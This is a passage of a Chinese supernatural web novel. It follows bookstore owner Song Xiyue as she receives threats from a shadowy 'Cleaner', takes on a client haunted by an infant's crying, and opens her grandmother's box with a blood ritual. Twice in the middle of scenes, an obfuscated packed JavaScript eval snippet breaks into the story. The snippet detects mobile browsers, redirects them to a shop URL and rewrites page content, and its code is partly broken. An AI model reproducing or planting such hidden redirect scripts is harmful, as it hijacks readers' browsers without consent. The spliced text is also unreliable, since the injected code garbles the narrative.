“警告一次。”——意思是还有下次?下次会怎样? “——清理者”——自称。是个人,还是个组织? 清理什么?清理像苏怀薇母亲那样的“麻烦”?还是清理像我这样试图追查“麻烦”的人? 掌心的炙痕微微发热,但不算强烈,更像是一种持续的警示。 我把符纸小心地夹进一本厚重的旧书里压平,打算明天找机会给楚遥看看,或者……拍下来发给她。 这一折腾,睡意全无。我索性坐在柜台后,打开电脑,尝试搜索“清河县”、“1978”、“年轻女性死亡”等关键词。 结果很少,而且都是些无关紧要的地方志片段或模糊的社会新闻。关于“清理者”,更是毫无痕迹。 网络世界一片干净,仿佛那些沉在河底的往事,从未发生过。 这本身就不正常。 天快亮时,我才迷迷糊糊趴在柜台上睡着了。梦里又是那条河,雾气弥漫,但这次,岸边似乎站了许多模糊的黑影,静静地面朝着我。 没有声音,没有动作,却让人窒息。 我是被手机铃声吵醒的。 楚遥打来的,背景音是车流和早点摊的嘈杂:“醒没醒?给你带了生煎和豆浆,开门。” 我揉了揉僵硬的脖子,看了眼时间,早上七点半。窗外天色已亮,符纸带来的阴森感在日光下消退了不少。 打开门,楚遥拎着早餐进来,顺手把一杯热豆浆塞我手里:“趁热。你脸色比昨天还像鬼。” “谢了。”我接过豆浆,暖意从手心传来,“正好有事跟你说。” 我们坐在书店角落的小桌子旁。我一边吃生煎,一边把昨晚符纸的事说了,然后把夹着符纸的那本旧书拿过来。 楚遥听完,眉头紧锁。她放下筷子,戴上手套,抽出符纸,在晨光下仔细查看。 “纸质很老,颜料……”她凑近闻了闻,眼神微变,“有氧化铁和朱砂的成分,可能还混了别的有机质。这腥气……”她又仔细嗅了嗅,“有点像……陈年的血,但不是新鲜人血。” “血?”我头皮一麻。 “可能处理过。字迹是写上去的,不是印刷。”楚遥翻来覆去地看,“没有指纹,没有粘贴痕迹。你确定它是自己‘贴’在玻璃上的?” “我确定。昨晚街上没人,我听到声音才发现的,贴得很牢。” 楚遥沉默了几秒,把符纸放回书上:“这东西邪性。我带回局里技术科,让他们用专业设备看看,能不能分析出更多成分,或者……看看有没有我们肉眼看不见的‘信息’。” “能行吗?这不算证物吧?”我问。 “不算。但我可以以‘疑似含有有害物质、威胁公共安全’为由申请检测,走快速通道。”楚遥看了我一眼,“前提是你同意。检测可能会破坏这玩意儿。” “尽管检。”我毫不犹豫,“我倒要看看是什么牛鬼蛇神。” 楚遥小心地把符纸装进一个证物袋:“还有,你昨晚说的那个男人的脸,方脸,浓眉,嘴角有黑痣。我回去试着在旧档案库里比对一下,看能不能找到清河县当年有类似特征的人员记录。不过别抱太大希望,几十年前的照片质量很差,而且未必有电子存档。” “有线索总比没有好。”我顿了顿,“楚遥,你觉得……‘清理者’会是什么人?” 楚遥收拾早餐盒的动作停了一下,表情严肃:“两种可能。一,是当年事件的参与者或其后代,害怕旧事重提,用装神弄鬼的方式恐吓知情人闭嘴。二……” 她看着我,一字一句:“真的存在某种……我们目前无法理解的‘东西’或‘规则’,在维护着那段被掩盖的历史。‘清理者’是它的执行者。” “你信第二种?”我有点意外。 “我不信,但我必须考虑所有可能性。”楚遥站起身,“尤其是,在你身上发生的这些‘异常’,用第一种解释有些地方说不通。比如那行水字,比如你看到的画面。除非你有连我都不知道的顶级催眠或致幻能力。” 我苦笑:“我要有那本事,还开什么书店。” “所以,保持警惕。”楚遥拎起装着符纸的证物袋,“符纸的事,还有我们查档案的事,不要跟任何人说,包括苏怀薇。在搞清楚对方底细前,知道的人越少越安全。我今天会尽快安排检测,有结果告诉你。” 楚遥离开后,书店又恢复了安静。但那种被窥视、被警告的感觉,并没有完全消失。 (二) 白天生意依旧惨淡,只来了两个闲逛的大学生,翻了半天书什么都没买。 我趁机把姥姥的小房间又整理了一遍,把那些旧物件分门别类放好,特别是那支素银簪子、绣花鞋和褪色襁褓。每一样都透着沉重的故事感。 下午,我接到一个意外的电话。 是之前旧货市场那个卖鞋的干瘦老头。 “喂,是昨天买鞋的姑娘吗?”他声音有点急。 “是我,老师傅,有事吗?” “你走了之后,我越想越不对劲。”老头压低了声音,“那鞋……可能真有点问题。昨晚上我摊子上其他几件老绣品,莫名其妙都湿了,像是被水泡过,但我收摊时明明包得好好的!而且……我晚上做梦,好像听到女人哭,就在我放鞋的那个箱子附近!” 我心头一紧:“您现在没事吧?” “我人没事,就是心里发毛。”老头犹豫了一下,“姑娘,你跟老实话,你买那鞋,是不是……不是为了研究?” 我沉默了几秒,没有直接回答:“老师傅,那鞋可能牵扯到一些旧事。您要是觉得不安,最近几天换个地方摆摊,或者休息几天。如果……如果还有什么异常,您可以联系我。” 老头叹了口气:“算了算了,我们这行,有时候是得碰点‘脏东西’,自己担着。我就是给你提个醒,那鞋邪门,你小心处理。” 挂了电话,我心情更沉重了。连无关的摊主都受到了影响?是赵秀兰的怨念通过遗物外泄了,还是……“清理者”在警告所有接触过这件事的人? 傍晚时分,楚遥发来加密消息:“符纸初步检测:纸质纤维鉴定为至少三十年前产物。颜料含朱砂、氧化铁、微量动物血液蛋白(高度降解)及某种未明有机化合物,光谱分析异常,暂无法匹配已知数据库。已送更高级别实验室进一步分析。另:已申请调阅清河县1978-1982年相关非正常死亡卷宗(纸质),需要时间。” 连技术科都检测不出全部成分? 那个“未明有机化合物”是什么? 我回复:“收到,小心。” 晚上,苏怀薇准时发来微信,询问今晚是否继续。我回复她需要准备,暂缓一晚,让她好好休息,保持联系。我需要时间消化这两天获得的信息,也担心连续的“问阴”会给她精神造成太大负担,更怕……引来“清理者”更直接的干预。 深夜,我坐在书店里,看着窗外城市的灯火。 突然,手机震动,收到一封陌生邮箱发来的邮件。标题是:“好奇的代价”。 点开,里面只有一张图片。 是一张黑白老照片的翻拍。 照片里是一条河,河边站着一排人,有男有女,表情模糊。照片中间,一个年轻女孩低着头,被人架着胳膊。照片一角,有个背对镜头、正在匆匆离开的女人背影。 那背影,那件衣服的样式……我瞳孔骤缩! 是年轻时的姥姥,文秀娥! 照片下面,有一行手写字:“第一个见证者。你想当下一个吗?” 发件人邮箱是一串乱码。 “清理者”。 他们果然在看着我!连姥姥当年的存在都知道! 他们不仅有符纸,还有照片!他们在用这种方式告诉我:我知道你的底细,我知道你姥姥做了什么,我知道一切。 我盯着那张照片,浑身发冷。 姥姥是“见证者”?她目睹了发生了什么?为什么选择离开?她后来记录那些名字,是出于愧疚,还是为了别的? “清理者”发来这张照片,是警告我不要步姥姥后尘,还是……暗示我知道的还不够多? 我保存了照片,试图回复邮件,但显示发送失败。 对方隐藏得很深。 这一夜,我几乎没合眼。 (三) 第二天,我顶着更严重的黑眼圈开门营业。 楚遥中午抽空过来一趟,带了外卖。我把昨晚收到邮件和照片的事告诉她。 楚遥看着手机上的照片,脸色凝重:“照片能发我一份吗?我让技术科试试追踪邮件来源,虽然希望不大。还有,这张老照片本身也是线索,也许能通过服装、背景判断具体地点和时间。” 她把照片转发给自己,然后看着我:“宋溪月,对方比我们想象的更了解内情,而且手段不限于装神弄鬼。他们能搞到这种老照片,说明可能早就关注这件事,甚至可能有当年参与者保存的资料。你现在很危险。” “我知道。”我揉了揉太阳穴,“但我能怎么办?把苏怀薇赶出去?把姥姥的东西都烧了?当一切没发生过?‘清理者’会因此放过我吗?” 楚遥沉默。 “既然躲不掉,那就只能往前走了。”我深吸一口气,“至少,要把真相弄清楚。为了苏怀薇她妈,也为了……我姥姥。” 楚遥看了我很久,最终叹了口气:“倔死你算了。听着,从现在开始,你书店内外,我会安排信得过的同事偶尔‘路过’照看一下。你自己进出也注意安全,晚上尽量别单独外出。还有,任何陌生的东西、信息,立刻通知我。” “谢谢。”我心里一暖。 “少肉麻。”楚遥摆摆手,“我只是不想哪天接到报案,来给你收尸。那现场报告得多难写。” (OS:……楚遥你的关心方式真特别。) 楚遥走后,我努力平复心情,开始思考下一步。 “清理者”的警告和展示肌肉,反而激起了我的逆反心理。他们越是想捂住,我越是想揭开。 但目前线索繁杂:苏怀薇的梦和其母赵秀兰的惨死;姥姥的日记和“水”、“闭”等标记;神秘的符纸和“清理者”;还有那支可能关联另一位受害者的素银簪子…… 我需要一个突破口。 也许,应该从“第一位”入手?按照“流水簿”的暗示,赵秀兰是第三位。那第一、第二位是谁?是否就是春枝和秋燕?她们的“钥匙”又是什么?是簪子?还是那块绣着“盼归”的手帕? 我正对着姥姥的遗物出神,店门被推开了。 不是顾客。 是一个穿着朴素、面容愁苦、看起来四十多岁的中年女人。她眼神躲闪,在门口犹豫着,不敢进来。 “您好,买书吗?”我主动招呼。 女人摇摇头,又点点头,最终还是走进来,声音很小:“请问……您是宋溪月宋老师吗?” 又来了。 我心里咯噔一下,但面上保持平静:“我是。您有什么事?” “是……是社区服务中心的王姐介绍我来的。”女人搓着手,很紧张,“她说您……您也许能帮我看看家里的问题。我姓赵,赵安宁。” 赵安宁? 我示意她坐下:“赵女士,您家里什么问题?” 赵安宁坐下后,双手紧紧绞在一起,声音更低了,还带着颤音:“我……我总听见,我家那间准备好了的婴儿房里……有婴儿在哭。可是我……我根本没有孩子啊!” 婴儿的哭声? 我瞬间看向小房间里那个褪色的襁褓。 掌心的炙痕,明确地、有力地灼热了一下。 “哭声?”我尽量让语气平缓,“是什么样的哭声?持续多久了?” “就是小婴儿那种,很细,很尖,有时候哭,有时候……像是哼唧。”赵安宁眼圈红了,“快一个月了。一开始很轻微,我以为听错了。后来越来越清楚,特别是晚上……我先生说我压力大,幻听。可我……我真的听到了!而且,最近那哭声……好像还夹杂着一点别的……像是一个女人,很远很远地在哼歌……呜……我受不了了,宋老师,求您帮帮我……” 女人哼歌? 第二位?秋燕?姥姥日记里提过秋燕爱唱歌! 婴儿哭声(可能关联第一位或孩子)+ 女人哼歌(可能关联第二位秋燕) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182824|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 难道,赵安宁家的问题,同时牵扯到了两位受害者? 而她的姓氏……赵。和赵秀兰同姓。是巧合吗? 我看着眼前这个濒临崩溃的女人,又想起“清理者”的警告。 接,还是不接? “赵女士,”我缓缓开口,“您和您的家人,祖籍是哪里?” 赵安宁愣了一下:“我……我婆婆是清河县人。我先生老家也是那边的,不过他从小在城里长大。” 又是清河县! 我闭了闭眼。 躲不掉了。 “您的情况我了解了。”我看着她,“我可以试试帮您看看。但过程可能有些……特别。而且,收费不低,需要先付定金。” 赵安宁像是抓住了救命稻草,连连点头:“多少钱都行!只要能让那哭声消失!” 我和她约了明天晚上,让她先回去,尽量记录下哭声出现的具体时间和特点。 送走赵安宁,我靠在门边,看着街上熙攘的人群。 第二个客户,以意料之外又情理之中的方式出现了。 而且,问题似乎更复杂,更凶险。 “清理者”的警告言犹在耳。 但,有些事,看到了,就不能当没看见。 有些声音,听到了,就不能假装听不见。 我转身回到柜台后,拿起那本姥姥的日记,再次翻到那些冰冷的名字和标记。 春枝(水),秋燕(闭),梅芳(?),赵秀兰(水,第三位)…… 赵安宁家的婴儿哭声和女人哼歌,会对应哪两个? 而“清理者”,此刻是不是正躲在某个角落,冷冷地看着我又接下新的“麻烦”? (四) 当天晚上,楚遥发来消息:“邮件来源追踪到海外代理服务器,断了。照片技术分析:确为几十年前老照片,人物面部细节缺失严重,背景河流地貌与清河县部分河段特征相似。已存档。另外,你要的旧档案,有眉目了,但需要点时间。你那边如何?” 我回复:“来了第二个客户,问题可能更复杂,涉及婴儿哭声和女人哼歌。约了明晚。‘清理者’暂无新动作。” 楚遥很快回:“小心。需要我明晚在场吗?” 我想了想:“暂时不用。我先初步探查一下。有需要我立刻叫你。” “保持通讯畅通。” 结束通话,我检查了一遍书店的门窗,确保都锁好了。又把铜铃从盒子里拿出来,放在枕头边——虽然不知道有没有用,但图个心理安慰。 躺在床上,却毫无睡意。 “清理者”的黑白照片,赵安宁惊恐的脸,苏怀薇梦里的绣花鞋,姥姥日记里那些绝望的记录……像走马灯一样在脑子里转。 还有掌心那道微微发热的炙痕。 它似乎在我接触到这些“异常”时,变得愈发活跃。 姥姥,您把这一切留给我,到底是想让我做什么? 仅仅是“记录”吗? 还是……“改变”? 迷迷糊糊睡到半夜,突然被一阵急促的手机铃声吵醒。 我摸过手机,是赵安宁。 凌晨两点四十七分。 我心里一沉,接通。 “宋……宋老师……”赵安宁的声音在电话那头抖得不成样子,几乎语无伦次,背景音里隐约有尖锐的、断续的婴儿啼哭,“它……它又来了!哭声……就在我床头!我睁开眼睛……看到……看到天花板上……有湿漉漉的小手印!好多……好多……啊——!!!” 电话里传来她极度惊恐的尖叫,然后是重物落地的闷响和一阵混乱的杂音。 “赵女士!赵安宁!你没事吧?!”我对着电话大喊。 几秒钟后,电话被捡起,传来一个男人愠怒又惊慌的声音:“喂?!你是谁?你对我老婆做了什么?!” 应该是她先生。 “我是宋溪月!赵女士的朋友!她刚才打电话给我,情况好像很不好!你们现在怎么样?需要帮忙吗?”我急忙说。 男人喘着粗气,背景里婴儿哭声似乎停了,传来赵安宁压抑的啜泣声。“没事了……刚才她可能做噩梦,摔下床了……抱歉打扰了……”男人的声音带着怀疑和烦躁,显然不想多说。 “真的没事吗?我听到她说……” “我说了没事!”男人打断我,语气很冲,“我们家的事我们自己会处理!请你别再打来了!” 电话被狠狠挂断。 我拿着手机,坐在黑暗里,心咚咚直跳。 湿漉漉的小手印……天花板上…… 这已经不是“幻听”能解释的了! 赵安宁的处境,可能比苏怀薇更危险!而且,她先生的态度……似乎并不相信,甚至有些排斥外力介入。 我想立刻打给楚遥,但看看时间,又忍住了。深夜贸然报警或让楚遥过去,没有切实证据,反而可能让情况更糟。 我给她发了条微信,简单说了情况,让她明天一早方便时联系我。 然后,我再也睡不着了。 打开灯,我看着枕边那枚安静的铜铃,又看看掌心淡淡的炙痕。 力量…… 我需要更明确地掌握姥姥留下的“问阴”方法,不能总是被动地看到一些碎片。 我需要……真正地做点什么,去“问”,去“看”,甚至去……“干预”。 为了苏怀薇,为了赵安宁,也为了我自己。 我起身,走进小房间,在姥姥的遗物前坐下。 目光划过铜镜、簪子、手帕、襁褓…… 最终,定格在那本摊开的日记上,姥姥晚年写下的那句话: “月月,如果你看到这里,说明‘她们’找到你了。” “别怕。顺着‘线’往回走……” 线,已经越来越清晰了。 而“清理者”,就在线的另一端,虎视眈眈。 天快亮的时候,我做出了一个决定。 明天晚上,为赵安宁进行“问阴”时,我不再仅仅是被动探查。 我要尝试,主动去“触碰”那个哭声和哼歌的源头。 无论那是什么。 无论“清理者”会有什么反应。 第二天一早,楚遥的电话还没来,我却先接到了苏怀薇的语音消息。 点开,是她带着哭腔、极度恐惧的声音: “宋老师……我……我家里昨晚也出事了!我……我放在客厅的那双您让我收好的旧绣花鞋……它……它自己挪到了我卧室门口!鞋尖对着我的床!我明明锁在柜子里的!” “还有……我凌晨好像听到……敲门声……很轻,但一直在敲……我不敢开……从猫眼看出去……外面没有人……但是……但是地上有湿脚印……一直延伸到楼梯间……” “宋老师……我害怕……它们……是不是不想放过我?!” 我握着手机,站在清晨的书店里,浑身冰凉。 “清理者”的警告还在耳边。 而“她们”的呼唤和迫近的危险…… 已经,不容忽视了。 4. 第 4 章 楚遥的电话在早上七点半准时打了过来,背景音是呼啸的风和嘈杂的早市。 “宋溪月,你昨晚发的我看到了。赵安宁那边我让辖区派出所的同事以‘家庭纠纷噪音扰民’为由去简单问了一下,她丈夫周先生坚称一切正常,说是妻子精神压力大,还暗示我们别多管闲事。”楚遥语速很快,“苏怀薇的鞋自己移动?湿脚印?你确定不是人为?” “我确定。”我握着手机,声音发涩,“她吓得不轻,不像是装的。而且,她家是高层,有门禁监控。” 楚遥沉默了两秒:“行,我知道了。你昨晚说的那个决定……太冒险了。” “我知道。”我看着小房间里那个黑色的榉木匣子,“但楚遥,我们还有别的选择吗?等‘清理者’下一次警告变成实际行动?还是等苏怀薇或者赵安宁真的出事?” 电话那头传来楚遥深吸一口气的声音:“……需要我做什么?” “帮我盯着点外围。”我说,“还有……如果我今晚之后失联了,记得来书店捞我。” 楚遥骂了句脏话,但最终还是说:“……地址发我,我会看着安排。你,小心。” --- (一) 挂了电话,我给苏怀薇和赵安宁分别发了消息,语气尽可能镇定。 给苏怀薇:“苏小姐,别怕。你看到的是‘它们’在施加压力,但暂时不会直接伤害你。今天白天尽量别独处,找个朋友陪着,或者去人多的地方。晚上等我消息,可能需要你配合做个‘加固’。” 给赵安宁:“赵女士,您先生的态度我理解。但您的情况比预想的紧急。今晚我必须去您家一趟,做初步探查。请您务必想办法让您先生配合,或者至少……允许我进门。这关系到您的安全。” 苏怀薇很快回复,说今天会请假去闺蜜家。赵安宁的回复则慢了很多,字里行间充满犹豫和为难:“宋老师……我先生他……很不高兴,说我找神婆是胡闹……我再劝劝他……晚上再联系您可以吗?” 我看着回复,叹了口气。能理解,摊上这种事,家属第一反应往往是否认和排斥。 但时间不等人。 我把书店门口挂上“今日盘点,暂停营业”的牌子,反锁店门,拉下所有窗帘。 然后,我郑重地洗了手,换上一身干净的深色衣服,走进了那个小房间。 晨光被厚重的窗帘隔绝在外,房间里只有一盏老旧台灯散发着昏黄的光。空气中弥漫着陈旧的香烛和草药混合的味道。 我的目光落在房间中央那个黑色的榉木匣子上。 它静静地躺在那里,表面覆盖着一层薄灰,锁扣紧闭,像一个沉默的、装满秘密的棺材。 姥姥临终前的话又在耳边响起:“……没到万不得已,别开。里面的东西……看了,就回不了头了。” (OS:姥姥,现在就是万不得已的时候了。回头路……好像早就没了。) 我走到匣子前,跪下——不知为什么,这个动作自然而然。我轻轻拂去表面的灰尘,露出木头原本深沉的纹理。 匣子没有锁,只有一个简单的黄铜搭扣。但我知道,真正的“锁”不是这个。 姥姥的信里提过,需要“三位血脉相连之女子的血”。 当时我嗤之以鼻,觉得又是故弄玄虚。但现在……苏怀薇(第三位受害者的女儿),赵安宁(可能被卷入的新关联者),加上我这个“问阴婆”继承人……这算“血脉相连”吗?是通过“冤屈”和“因果”相连的血脉吗? 我不知道。但我没有更好的人选,也没有时间了。 我从姥姥的工具里找出一根细长的银针——据说是用来点穴或者刺破某些特殊物品的。又拿出三个干净的小白瓷碟。 我用酒精棉片仔细擦拭了银针和自己的指尖。 然后,没有犹豫,对准左手食指指腹,刺了下去。 刺痛传来,鲜红的血珠迅速涌出,滴落在第一个白瓷碟里,聚成小小的一洼。 紧接着,是掌心那道炙痕所在的区域。我用针轻轻挑破那处早已愈合、只留下淡痕的皮肤。很奇怪,这里的皮肤似乎格外脆弱,几乎没用力就破了,流出的血……颜色似乎比指尖的血更深一些,而且,滴落的瞬间,我能感觉到一股细微的、灼热的能量随之流出。 这血滴入第二个白瓷碟。 现在,需要第三个人的血。 苏怀薇和赵安宁都不在。我能用她们昨天滴在铜镜上残留的血吗?或者……用她们接触过的物品? 我的目光扫过房间。苏怀薇的“钥匙”是那双绣花鞋。赵安宁的“钥匙”……可能和那个襁褓有关,但我还没拿到她家的具体物品。 最后,我的目光落在姥姥留下的那本日记上。 这里面记录着“她们”的名字,浸透着姥姥的血泪和“她们”的无形痕迹。这算是一种……更深刻的精神血脉连接吗? 我拿起银针,轻轻刺破了日记本封面一个不起眼的角落,然后用针尖沾了一点那里陈旧的、似乎与纸张融为一体的暗褐色痕迹——那可能是姥姥当年写字时滴落的墨水,也可能是别的什么。 我把这点痕迹,小心地刮到第三个白瓷碟里。它没有化成血,但碟子里却莫名地湿润了一小片,仿佛那痕迹本身就蕴含着某种“液体”的记忆。 三碟“血”准备完毕。 我深吸一口气,将三个白瓷碟按照三角方位,摆在黑木匣的周围。 然后,我双手交叠,轻轻按在匣盖上,闭上眼睛。 没有咒语,没有仪式动作。姥姥的手札里没有记载具体怎么打开它。我只能凭感觉,凭血脉里那点微弱的共鸣,凭想要解开这一切的强烈意念。 我集中精神,想着姥姥,想着“春枝”、“秋燕”、“梅芳”、“赵秀兰”……那些名字,想着苏怀薇的恐惧,赵安宁的哭声,想着“清理者”冰冷的警告。 掌心的炙痕开始发烫,越来越烫,像有一块烙铁按在那里。 三个白瓷碟里的“血”,在台灯昏暗的光线下,似乎微微泛起了极淡的光晕。我指尖的血碟是红色,掌心血碟是暗红带金,日记痕迹碟是浑浊的灰褐色。 这三种光晕缓缓上升,交织在一起,形成一层薄薄的、三色流转的光膜,覆盖在木匣表面。 “咔哒……” 一声极其轻微、却清晰无比的机括弹开的声音,从木匣内部传来! 我猛地睁开眼。 只见那层三色光膜正迅速被木匣吸收,而原本严丝合缝的匣盖,沿着边缘,裂开了一道细细的缝隙! 有风从缝隙里吹出,带着一股更加浓郁的、陈旧布匹和淡淡奶腥混合的味道。 我的心跳到了嗓子眼。 成功了?真的打开了? 我颤抖着手,小心地、一点点掀开那沉重的匣盖。 木头摩擦发出“吱呀”的轻响,在寂静的房间里格外刺耳。 匣子内部的情景,随着盖子的掀开,逐渐展现在我眼前。 首先映入眼帘的,是一块折叠得整整齐齐的、褪色发硬的深蓝色布料——正是我之前拿出来看过的那个襁褓。 但此刻,它在匣中似乎有些不同。表面那些简单的、扭曲的纹路,在昏暗光线下,隐隐流动着极其微弱的浅蓝色光晕,像是平静水面的反光。 而在襁褓旁边,还躺着另一样我上次没看到的东西: 一个用红丝线缠绕着的小小油纸包,只有拇指大小。 除此之外,匣子里空空如也。没有想象中惊天动地的秘密文件,没有金光闪闪的法器。 只有一旧一新两样东西。 我首先拿起那个油纸包。很轻,红丝线系得紧紧的。我小心地解开,展开油纸。 里面是一小撮干燥的、微微卷曲的黑色毛发,很细软,像是……婴儿的胎发。 胎发?谁的? 和这个襁褓有关? 我立刻联想到赵安宁家婴儿房里的哭声! 难道……这襁褓和胎发,属于“第一位”受害者的孩子?那个被“水”带走的梅芳的孩子? 而赵安宁家的异常,正是这个未能降生或早年夭折的婴灵在作祟? 那么,那哼歌的女人……就是秋燕?她的“钥匙”是那支簪子? 无数的疑问和猜测涌上心头。 但至少,我打开了匣子,拿到了似乎直接关联到下一个案件的关键物品! 这就是姥姥说的“钥匙”之一吗?用特定方式打开木匣,才能拿到对应下一个“关卡”的线索和道具? 我把胎发小心包好,和襁褓放在一起。然后,我注意到,在拿走襁褓后,匣子底部似乎刻着什么东西。 我凑近去看。 是几行极浅的、用锐器刻上去的小字,字体和姥姥日记里很像,但更潦草,像是在极度匆忙或紧张状态下刻的: `“梅芳嘱:儿名‘水生’,癸丑年腊月初七,亥时。”` `“葬于清水东岸第三柳下,东行七十九步,乱石堆下。”` `“取回,供于净处,以安其魂。”` `“切记,勿令周姓人知。”` 梅芳的儿子!名字叫“水生”!出生日期(或死亡日期)是癸丑年腊月初七亥时! 埋葬地点:清水东岸第三棵柳树下,往东走七十九步,乱石堆下! 还有最关键的一句:勿令周姓人知! 周姓?赵安宁的丈夫,就姓周!周先生! 难道……赵安宁的婆家,周家,和当年梅芳的事有关联?!所以赵安宁才会被卷入?所以她丈夫才那么抗拒外人介入? 信息量太大,我脑子有点发懵。 但有一点很清楚:我必须去那个埋葬地点,找到“水生”的遗骸(或者象征物),按照指示“取回,供于净处”,才可能平息赵安宁家的婴儿哭声! 而这件事,必须瞒着赵安宁的丈夫周先生! 我小心翼翼地把襁褓、胎发包和刻有文字的木匣内壁拍了照,然后将东西原样收好,只把襁褓和胎发包带在身上。 做完这一切,我才感到一阵虚脱般的疲惫袭来,后背已经被冷汗湿透。 但心里,却有种奇异的笃定感。 我不再是被动接收信息的菜鸟。我主动打开了一个关卡,拿到了线索,明确了下一步行动。 这,大概就是“能力觉醒”的第一步。 (二) 下午,我分别联系了苏怀薇和赵安宁。 我给苏怀薇发去了一个简单的“安神符”图样(来自姥姥手札),让她用朱砂笔抄在黄纸上,贴在卧室门后和窗沿上。并叮嘱她,今晚无论听到什么,除非我主动联系,否则不要出门,不要回应任何敲门声。 苏怀薇回复照做,语气依旧惶恐,但多了几分信任。 给赵安宁的电话则费了一番周折。她支支吾吾,说她先生坚决不同意晚上有外人来家,两人大吵一架,她现在在小区花园里偷偷给我打电话。 “宋老师,对不起……我先生他……很固执。他说我再提这些,就要送我去看精神科。”赵安宁声音哽咽。 “赵女士,听着。”我语气严肃,“您家的问题,可能比您想象的更复杂,而且和您婆家的一些旧事有关。我现在有了一些线索,但需要您配合。今晚,您能不能想办法让您先生晚点回家?或者……找个理由,让我能进去,哪怕只有半小时?” 赵安宁沉默了很久,似乎在挣扎。“他……他今晚有个应酬,说可能要九点以后才回来……但是婆婆在家……” “婆婆?”我心里一动,“您婆婆对这件事是什么态度?” “婆婆她……好像知道点什么,但从来不说。有时候我提起,她就脸色不好,让我别瞎想。”赵安宁犹豫着,“不过……婆婆今天下午说要回老家一趟,去庙里还愿,傍晚的火车。” 婆婆不在!机会! “赵女士,就今晚。七点到八点之间,我过来。您找个借口支开保姆(如果有的话),我快速查看一下婴儿房和您家里一些特殊的地方。我保证在您先生回来前离开。”我快速说道。 赵安宁又挣扎了几秒,最终对未知的恐惧压倒了对丈夫的顾虑:“……好。宋老师,您一定要来。我……我真的快崩溃了。” 约好时间地址,我松了口气。 接下来,我需要准备晚上去赵安宁家探查,以及后续去清河县那个埋葬地点“取回”东西。 后者更危险,需要从长计议,可能需要楚遥的帮助。 但眼前,先解决赵安宁家的燃眉之急。 傍晚六点,我准备好东西:铜铃、那支素银簪子(可能感应秋燕)、还有刚得到的襁褓和胎发包。换了一身便于活动的深色衣服,把头发扎紧。 出门前,我最后看了一眼那个打开过的黑木匣。它静静躺着,仿佛刚才的神异从未发生。 但我掌心残留的灼热,和包里沉甸甸的襁褓,都在提醒我,一切都不一样了。 我刚锁好书店门,转身,差点撞上一个人。 是楚遥。她靠在墙边,手里拎着一个黑色的小运动包,看样子等了有一会儿了。 “你吓我一跳!”我拍着胸口。 “吓死你算了。”楚遥白了我一眼,把运动包递过来,“给你的。防身。” 我打开一看,里面是一把强光手电,一支小型防狼喷雾,还有……一个伪装成钥匙扣的微型摄像头和录音笔。 “楚遥,这……” “别废话。赵安宁家地址我知道,我会在楼下车里等着。摄像头打开,别关。有情况立刻按警报——我给你的那个旧手机,定位我设置了,紧急情况一键呼叫并发送位置。”楚遥语气不容置疑,“还有,襁褓的事,地址的事,等你回来我们再细说。先集中精力应付今晚。” 我看着手里的东西,心里涌起一股暖流:“……谢了,姐妹。” “谁是你姐妹。”楚遥转身走向停在路边的车,“快点,别磨蹭。记住,安全第一。” (三) 赵安宁家在一个中高档小区,环境不错。我按响门铃,赵安宁很快开门,脸色苍白,眼神惊慌地看了看我身后,确认没人注意,才迅速把我让进去。 她家里装修得很精致,但此刻透着一种冰冷的、不安的气息。空气中似乎有种淡淡的潮湿感。 “保姆我让她提前下班了。”赵安宁小声说,“宋老师,我们……快点。” 我点头,直接问:“婴儿房在哪?带我去。还有,您婆婆的房间,如果方便,我也想看一眼。” 赵安宁带我来到一间精心布置的婴儿房。淡蓝色墙壁,云朵吊灯,崭新的婴儿床和各种玩具。但一走进去,我就感到一股明显的阴冷,比客厅温度低好几度。而且,那种潮湿感更重了。 掌心的炙痕微微发热。 我拿出铜铃,握在手中,集中精神感应。 没有明显的怨灵波动,但有一种沉重的、悲伤的、属于婴儿的微弱情绪残留,弥漫在房间里。尤其是在婴儿床的位置。 我走近婴儿床,仔细查看。床上铺着柔软的垫子,放着一个崭新的老虎布偶。 我的目光被布偶吸引。那布偶看起来很普通,但……针脚似乎有点特别,不像机器缝制的那么规整。 我拿起布偶,捏了捏。 里面除了常规的填充棉,似乎还有一个小小的、硬硬的东西。 “赵女士,这个布偶是哪来的?” “是……是我婆婆亲手做的。”赵安宁说,“她说老家习俗,小孩的贴身布偶要长辈亲手做,能保平安。” 婆婆做的? 我回想起木匣里的刻字:“勿令周姓人知”。周姓,就是她婆家! 我立刻用随身带的瑞士军刀(楚遥给的),小心地挑开布偶后背的缝合线。 赵安宁惊呼一声,但没阻止。 我从填充棉里,掏出了一个用红布包裹着的小小硬物。 打开红布,里面是一个小小的、粗糙的银制长命锁,不过指甲盖大小,上面刻着歪歪扭扭的“平安”二字,但锁身有些发黑,像是被什么侵蚀过。 “这是……”赵安宁愣住了。 “这可能不是保平安的。”我沉声道,同时,感觉到襁褓在我包里微微颤动了一下。胎发包倒是没反应。 我把长命锁收好。然后,在赵安宁紧张的目光下,我从自己包里拿出了那个褪色的深蓝色襁褓。 就在襁褓暴露在婴儿房空气中的刹那—— 房间里的温度骤降! 仿佛瞬间从初秋进入了寒冬! 紧接着,一阵极其细微、却清晰无比的婴儿抽泣声,不知从房间哪个角落响了起来!声音空灵,飘忽,充满了无助和委屈! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182825|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊——!就是这声音!”赵安宁捂住耳朵,吓得倒退几步,撞在墙上。 